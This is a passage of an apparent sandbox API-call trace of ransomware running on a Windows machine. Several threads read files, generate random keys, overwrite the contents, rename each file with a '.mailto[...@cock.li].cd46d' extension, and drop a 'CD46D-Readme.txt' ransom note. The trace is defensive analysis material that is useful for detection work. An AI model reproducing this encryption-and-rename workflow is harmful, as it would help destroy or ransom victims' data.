_Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml" [0056.624] wcscat (in: _Dest=0x5e00200, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml.mailto[2Hamlampampom@cock.li].cd46d" [0056.625] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x61ffbd4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.625] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xda) returned 0x95d0e18 [0056.674] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0e18) returned 1 [0056.674] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4da950) returned 1 [0056.674] NtQueryInformationFile (in: FileHandle=0x90c, IoStatusBlock=0x61ffbe0, FileInformation=0x61ffbb8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x61ffbe0, FileInformation=0x61ffbb8) returned 0x0 [0056.674] NtSetInformationFile (FileHandle=0x90c, IoStatusBlock=0x61ffbe0, FileInformation=0x61ffbb8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.687] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00200) returned 1 [0056.687] FlushFileBuffers (hFile=0x90c) returned 1 [0056.690] CloseHandle (hObject=0x90c) returned 1 [0056.695] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cd308 [0056.695] wcscpy (in: _Dest=0x97cd308, _Source="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0056.695] wcscat (in: _Dest=0x97cd308, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\CD46D-Readme.txt" [0056.695] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\cd46d-readme.txt")) returned 0xffffffff [0056.695] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe64 [0056.703] WriteFile (in: hFile=0xe64, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x61ffbdc, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x61ffbdc*=0x6fd, lpOverlapped=0x0) returned 1 [0056.715] CloseHandle (hObject=0xe64) returned 1 [0056.717] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cd308) returned 1 [0056.717] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447100) returned 1 Thread: id = 442 os_tid = 0xdd8 [0049.207] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task64.xml")) returned 0x20 [0049.207] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml", dwFileAttributes=0x20) returned 1 [0056.140] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task64.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x910 [0056.140] GetFileSizeEx (in: hFile=0x910, lpFileSize=0x723f8ec | out: lpFileSize=0x723f8ec*=1416) returned 1 [0056.140] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x584, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.140] ReadFile (in: hFile=0x910, lpBuffer=0x723f870, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x723f86c, lpOverlapped=0x0 | out: lpBuffer=0x723f870*, lpNumberOfBytesRead=0x723f86c*=0x4, lpOverlapped=0x0) returned 1 [0056.141] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.141] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441758 [0056.142] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441410 [0056.142] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441780 [0056.142] NtQuerySystemTime (in: CurrentTime=0x723f84c | out: CurrentTime=0x723f84c*=132174898201212000) returned 0x0 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x1a385b93 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x883c05 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x4bb9b5ad [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x605050f9 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x6ff2dac8 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x437e99b0 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x6c67536f [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x76c6bf48 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x3e827f [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x33bc995e [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x614cdd69 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x14f02dff [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x4673aa67 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x142cb559 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x5dfd34da [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0xba38be4 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x5e8b5694 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x41f7901a [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x32c59d8a [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x31c3a367 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x3aac28d8 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0xac37f1a [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x32efbfb5 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x67203320 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x7ffa3aec [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x67e6e8af [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x63e27a88 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x701f8706 [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x5709f3af [0056.142] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x2b7787df [0056.143] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x531c7108 [0056.143] RtlRandomEx (in: Seed=0x723f858 | out: Seed=0x723f858) returned 0x1e733963 [0056.154] ReadFile (in: hFile=0x910, lpBuffer=0x1983a830, nNumberOfBytesToRead=0x588, lpNumberOfBytesRead=0x723f848, lpOverlapped=0x0 | out: lpBuffer=0x1983a830*, lpNumberOfBytesRead=0x723f848*=0x588, lpOverlapped=0x0) returned 1 [0056.154] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.154] WriteFile (in: hFile=0x910, lpBuffer=0x12d16168*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x723f844, lpOverlapped=0x0 | out: lpBuffer=0x12d16168*, lpNumberOfBytesWritten=0x723f844*=0x588, lpOverlapped=0x0) returned 1 [0056.513] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4411e0 [0056.513] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441168 [0056.513] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441168) returned 1 [0056.513] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d16168) returned 1 [0056.513] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1983a830) returned 1 [0056.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b1e0) returned 1 [0056.517] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bc10) returned 1 [0056.517] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97cee40 [0056.517] SetFilePointerEx (in: hFile=0x910, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.517] WriteFile (in: hFile=0x910, lpBuffer=0x95d0e18*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x723f8ac, lpOverlapped=0x0 | out: lpBuffer=0x95d0e18*, lpNumberOfBytesWritten=0x723f8ac*=0x105, lpOverlapped=0x0) returned 1 [0056.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0e18) returned 1 [0056.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0056.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441168) returned 1 [0056.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee40) returned 1 [0056.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4411e0) returned 1 [0056.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441410) returned 1 [0056.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441488) returned 1 [0056.616] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441460) returned 1 [0056.616] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc8) returned 0x5e00060 [0056.617] wcscpy (in: _Dest=0x5e00060, _Source="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml" [0056.617] wcscat (in: _Dest=0x5e00060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml.mailto[2Hamlampampom@cock.li].cd46d" [0056.617] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x723f864, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.617] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xde) returned 0x4452d8 [0056.764] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0056.764] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4da0b0) returned 1 [0056.764] NtQueryInformationFile (in: FileHandle=0x910, IoStatusBlock=0x723f870, FileInformation=0x723f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x723f870, FileInformation=0x723f848) returned 0x0 [0056.764] NtSetInformationFile (FileHandle=0x910, IoStatusBlock=0x723f870, FileInformation=0x723f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.766] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00060) returned 1 [0056.766] FlushFileBuffers (hFile=0x910) returned 1 [0056.814] CloseHandle (hObject=0x910) returned 1 [0056.843] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cd438 [0056.843] wcscpy (in: _Dest=0x97cd438, _Source="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0056.843] wcscat (in: _Dest=0x97cd438, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\CD46D-Readme.txt" [0056.843] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\cd46d-readme.txt")) returned 0x20 [0056.843] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cd438) returned 1 [0056.843] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446ff0) returned 1 Thread: id = 443 os_tid = 0xddc [0049.208] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files (x86)\\common files\\services\\verisign.bmp")) returned 0x20 [0049.208] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x20) returned 0 [0049.208] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files (x86)\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0049.208] GetLastError () returned 0x5 [0049.208] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp", dwFileAttributes=0x20) returned 0 [0049.208] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400698) returned 1 Thread: id = 444 os_tid = 0xde0 [0049.209] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uaky9uM-rMbkI9mDaO.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uaky9um-rmbki9mdao.ods")) returned 0x20 [0049.209] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uaky9uM-rMbkI9mDaO.ods", dwFileAttributes=0x20) returned 1 [0056.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uaky9uM-rMbkI9mDaO.ods" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uaky9um-rmbki9mdao.ods"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x914 [0056.231] GetFileSizeEx (in: hFile=0x914, lpFileSize=0x498fa14 | out: lpFileSize=0x498fa14*=21511) returned 1 [0056.231] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x5403, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.231] ReadFile (in: hFile=0x914, lpBuffer=0x498f998, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x498f994, lpOverlapped=0x0 | out: lpBuffer=0x498f998*, lpNumberOfBytesRead=0x498f994*=0x4, lpOverlapped=0x0) returned 1 [0056.232] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4416b8 [0056.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429340 [0056.232] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429188 [0056.232] NtQuerySystemTime (in: CurrentTime=0x498f974 | out: CurrentTime=0x498f974*=132174898202148000) returned 0x0 [0056.232] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x247621be [0056.232] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x15d49a2b [0056.232] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x21f64359 [0056.232] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x7c81e17a [0056.232] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x421b6724 [0056.232] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x70251379 [0056.232] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x430332a [0056.232] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x2a9e4428 [0056.232] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x5e5c0263 [0056.232] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x5ccf011e [0056.232] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x5dfd34da [0056.232] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x13f4c084 [0056.232] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x28491a75 [0056.232] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x1d64a132 [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x5391dda8 [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x7fa2bb05 [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x5076cb07 [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x7476e8d1 [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x5dab60ed [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x179a013c [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x4ed76bd [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x69d53778 [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x23e7810f [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x3546df33 [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x6a31de59 [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x736b6c09 [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x1caf437d [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x4835eded [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x62ac1d24 [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x3efccfd1 [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x2f6e4732 [0056.233] RtlRandomEx (in: Seed=0x498f980 | out: Seed=0x498f980) returned 0x777393f7 [0056.246] ReadFile (in: hFile=0x914, lpBuffer=0x9745130, nNumberOfBytesToRead=0x5407, lpNumberOfBytesRead=0x498f970, lpOverlapped=0x0 | out: lpBuffer=0x9745130*, lpNumberOfBytesRead=0x498f970*=0x5407, lpOverlapped=0x0) returned 1 [0056.246] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.246] WriteFile (in: hFile=0x914, lpBuffer=0x12d9f008*, nNumberOfBytesToWrite=0x5407, lpNumberOfBytesWritten=0x498f96c, lpOverlapped=0x0 | out: lpBuffer=0x12d9f008*, lpNumberOfBytesWritten=0x498f96c*=0x5407, lpOverlapped=0x0) returned 1 [0056.524] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441370 [0056.524] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x441320 [0056.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441320) returned 1 [0056.524] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d9f008) returned 1 [0056.525] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9745130) returned 1 [0056.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437aa8) returned 1 [0056.528] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0056.528] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x39) returned 0x44c1f8 [0056.528] SetFilePointerEx (in: hFile=0x914, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.529] WriteFile (in: hFile=0x914, lpBuffer=0x5ed69a8*, nNumberOfBytesToWrite=0x11d, lpNumberOfBytesWritten=0x498f9d4, lpOverlapped=0x0 | out: lpBuffer=0x5ed69a8*, lpNumberOfBytesWritten=0x498f9d4*=0x11d, lpOverlapped=0x0) returned 1 [0056.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed69a8) returned 1 [0056.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1b0) returned 1 [0056.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441320) returned 1 [0056.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c1f8) returned 1 [0056.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441370) returned 1 [0056.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429340) returned 1 [0056.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429160) returned 1 [0056.620] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429110) returned 1 [0056.620] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00af0 [0056.620] wcscpy (in: _Dest=0x5e00af0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uaky9uM-rMbkI9mDaO.ods" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uaky9uM-rMbkI9mDaO.ods") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uaky9uM-rMbkI9mDaO.ods" [0056.620] wcscat (in: _Dest=0x5e00af0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uaky9uM-rMbkI9mDaO.ods.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uaky9uM-rMbkI9mDaO.ods.mailto[2Hamlampampom@cock.li].cd46d" [0056.620] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uaky9uM-rMbkI9mDaO.ods.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x498f98c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uaky9uM-rMbkI9mDaO.ods.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.620] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x4d40e0 [0056.774] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d40e0) returned 1 [0056.774] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4da500) returned 1 [0056.774] NtQueryInformationFile (in: FileHandle=0x914, IoStatusBlock=0x498f998, FileInformation=0x498f970, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x498f998, FileInformation=0x498f970) returned 0x0 [0056.774] NtSetInformationFile (FileHandle=0x914, IoStatusBlock=0x498f998, FileInformation=0x498f970, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.798] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00af0) returned 1 [0056.798] FlushFileBuffers (hFile=0x914) returned 1 [0056.812] CloseHandle (hObject=0x914) returned 1 [0056.827] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0056.827] wcscpy (in: _Dest=0x43b348, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0056.827] wcscat (in: _Dest=0x43b348, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" [0056.827] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cd46d-readme.txt")) returned 0x20 [0056.827] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0056.827] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x447650) returned 1 Thread: id = 445 os_tid = 0xde4 [0049.210] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uE0JboAQQ00nz_.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ue0jboaqq00nz_.pps")) returned 0x20 [0049.210] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uE0JboAQQ00nz_.pps", dwFileAttributes=0x20) returned 1 [0056.247] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uE0JboAQQ00nz_.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ue0jboaqq00nz_.pps"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x918 [0056.247] GetFileSizeEx (in: hFile=0x918, lpFileSize=0x409fc08 | out: lpFileSize=0x409fc08*=32226) returned 1 [0056.247] SetFilePointerEx (in: hFile=0x918, liDistanceToMove=0x7dde, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.247] ReadFile (in: hFile=0x918, lpBuffer=0x409fb8c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x409fb88, lpOverlapped=0x0 | out: lpBuffer=0x409fb8c*, 